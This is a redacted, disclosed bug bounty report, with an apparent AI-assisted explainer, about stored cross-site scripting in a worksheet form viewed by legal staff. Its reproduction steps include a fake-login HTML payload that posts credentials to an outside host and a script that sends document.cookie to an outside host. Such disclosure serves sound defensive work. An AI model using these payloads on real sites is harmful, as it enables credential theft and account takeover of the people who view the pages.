Stored XSS via 64(?) vulnerable fields in ███ leads to credential theft/account takeover
A worksheet form allowed users to store XSS payloads in many text fields, which executed when legal personnel viewed the request. An attacker could steal credentials or redirect users to malicious sites.
- Triaged in 2 days
- Fixed in 10 months
- Disclosed after 10 months
Summary: A user is able to complete a ████████ worksheets via https://██████████. This form allows a user to store multiple XSS payloads within, which will in turn allow the attacker to run malicious code in context of the legal personnel who view the request.
Impact
The attacker can have multiple effects from this vulnerability, to include but not limited to account compromise, keystroke logging, drive-by downloads, and much more.
Step-by-step Reproduction Instructions
- Browse to https://█████
████████
2. Click █████████. Once on the ██████ page, click ███ and ████████
██████████
3. Click Continue.
██████
4. Fill in your name and click Submit. XSS payloads seem to be sanitized properly here from basic tests.
███ 5. Any field that accepts text in the rest of the document seems vulnerable to XSS. Complete the form, filling in XSS payloads anywhere you can type. I counted 64 vulnerable fields total.
█████████
7. Click Finish. You will see a confirmation that your request was submitting and receive a ticket number.
█████████
8. Click ██████, or return to the ███████ page and put in your info in the █████ area to modify the worksheet. The XSS will fire in both locations.
█████████ 9. To demonstrate credential theft/account takeover, I used the following (very obvious) payload. There are various ways an attacker could do this and nothing seems to be filtered:
<h3>Please login to proceed</h3> <form action=http://██████>Username:<br><input type="username" name="username"></br>Password:<br><input type="password" name="password"></br><br><input type="submit" value="Logon"></br>
█████████ ███
An attacker can also redirect the user as soon as the worksheet is opened, but as an unauthenticated user I was unable to test for cookie theft:
<script>window.location="http://███/?cookie=" + document.cookie</script>
██████
Suggested Mitigation/Remediation Actions
Sanitize any fields where user input is reflected and disallow special characters from being submitted in each form field.
Impact
The attacker can have multiple effects from this vulnerability, to include but not limited to account compromise, keystroke logging, drive-by downloads, and much more.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the application did not properly sanitise user input in multiple form fields before storing and displaying it.
Impact
An attacker could compromise accounts, log keystrokes, or cause drive-by downloads, though the reporter could not test cookie theft as an unauthenticated user.
What the attacker needed
Access to the worksheet form; victim views the submitted worksheet
The fix
The application should sanitise all fields where user input is reflected and disallow special characters in form submissions.
How it was found
- Browse to the worksheet page.
- Click the specified link and then the option to start a new worksheet.
- Click Continue.
- Fill in your name and submit; basic tests showed sanitisation there.
- Fill in XSS payloads in any text field throughout the form.
- Click Finish and then view the submitted worksheet to see the payload execute.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Cross-site scripting (XSS) is when a website lets someone insert harmful code that runs in other users' browsers. Here, a form saved the code and showed it to staff, so an attacker could trick them into giving away their login details.
What is XSS?
Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.